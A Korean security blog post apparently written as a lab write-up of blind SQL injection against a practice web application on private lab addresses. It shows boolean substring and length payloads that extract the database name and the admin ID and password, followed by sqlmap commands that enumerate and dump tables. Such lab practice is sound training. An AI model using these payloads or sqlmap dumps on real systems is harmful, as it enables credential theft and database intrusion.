yuil :: SecOps

[WebSec] Blind SQL Injection Lab 02 본문

실습/Web Security 실습

[WebSec] Blind SQL Injection Lab 02

yuil.lee 2025. 10. 22. 17:55
aircon 사이트의 관리자 계정 정보와 database 이름을 찾으세요
(db 이름은 database() 함수, 문자열 길이는 length() 함수를 이용)
centos
mysql -u root -plab

aircon site

 

admin 경로 예측
http://192.168.65.30/aircon/admin/

관리자 페이지 확인

'or'1'='1'--

[획득 정보]
table : admin
column : A_id, A_pass
주석처리 안됨
형 변환 오류 발생 안됨
' and database()='test

에러가 나지 않는다.

db 이름이 test가 아닌데 에러가 나지 않음.
페이지 탐색
참/거짓을 테스트할 수 있는 페이지 찾기

url 정보 취득

http://192.168.65.30/aircon/customer/customer01.php?sub_page=&show=view&board=customer01&id=2&offset=0&select=&contents=&category=&pg=

id=2'로 수정

메시지 확인

# 첫번째 글자 m 보다 작은지 확인
# 해당 url 부분 아래로 변경
&id=2' and substring(database(),1,1)<'m

페이지가 뜬다.

database 이름 첫번째 글자가 'm' 보다 작다는 뜻

<'b 로 첫 번째 글자 'a' 확인

# 두번째 db 글자
substring(database(),2,2)<'j -- 페이지 뜸
substring(database(),2,2)<'i -- 페이지 안뜸

<'i 로 두 번째 글자 'i' 확인

# 세번째 db 글자
substring(database(),3,3)<'s -- 페이지 뜸
substring(database(),3,3)<'r -- 페이지 안뜸

<'r 로 세 번째 글자 'r' 확인

... [반복] ...

# 여섯번째 db 글자
substring(database(),3,3)<'o -- 페이지 뜸
substring(database(),3,3)<'n -- 페이지 안뜸

<'n 으로 여섯 번째 글자 'n' 확인

[database 이름]
aircon
탈취 정보 정리
database : aircon
table : admin
column : A_id, A_pass
id 길이 확인
&id=2' and length((select A_id from admin))<'11 -- 페이지 뜸
&id=2' and length((select A_id from admin))<'10 -- 페이지 안뜸

admin table의 A_id column의 길이는 '10'이다. => id의 최대길이가 10자라는 의미

id 찾기
&id=2' and substring((select A_id from admin),1,1)<'m

m보다 크다

&id=2' and substring((select A_id from admin),1,1)<'s -- 페이지 안뜸

s보다 크다

&id=2' and substring((select A_id from admin),1,1)<'v

v보다 작다

&id=2' and substring((select A_id from admin),1,1)<'u -- 페이지 뜸
&id=2' and substring((select A_id from admin),1,1)<'t -- 페이지 안뜸

id 첫 번째 글자는 't'

&id=2' and substring((select A_id from admin),1,1)<'f -- 페이지 뜸
&id=2' and substring((select A_id from admin),2,2)<'e -- 페이지 안뜸

같은 방식으로 두 번째 글자 'e'

같은 방식으로 세 번째 글자 's'

같은 방식으로 네 번째 글자 't'

...

admin 계정의 id 탈취
testaircon
password 찾기
&id=2' and substring((select A_pass from admin),1,1)<'u -- 페이지 뜸
&id=2' and substring((select A_pass from admin),1,1)<'t -- 페이지 안뜸

admin 계정의 비밀번호 첫 글자는 't'

... [반복] ...

admin 계정의 password 탈취
testaircon
탈취 정보 정리
database : aircon
table : admin
column : A_id, A_pass
id : testaircon
pass : testaircon
로그인 시도

로그인 완료

 

database 이름 및 관리자 계정 탈취 성공

 

추가 탈취 방법 - 자동 탈취
kali

http://192.168.65.20/board/board_view.asp?num=7

 

sqlmap 명령어
특정 웹 페이지를 대상으로 SQL 인젝션 취약점을 테스트하고, 취약점이 발견되면 해당 데이터베이스 서버에 존재하는 데이터베이스(DB) 목록을 추출
sqlmap 안된다면 필터링 주석처리

cmd
# db list 찾기
sqlmap -u http://192.168.65.20/board/board_view.asp?num=7 --dbs

db list

# webhack db의 table list 찾기
sqlmap -u http://192.168.65.20/board/board_view.asp?num=7 -D webhack --tables

table list 확인

# webhack db의 member table의 column 찾기
sqlmap -u http://192.168.65.20/board/board_view.asp?num=7 -D webhack -T member --columns

sqlmap_columns.gif
column 확인

sqlmap -u http://192.168.65.20/board/board_view.asp?num=7 -D webhack -T member --dump

 

정상 실행 안됨

# 실행 안될때 추출 정보(쿠키) 삭제
cd ~/.local/share/sqlmap/output/
rm -rf 192.168.65.20

 

반응형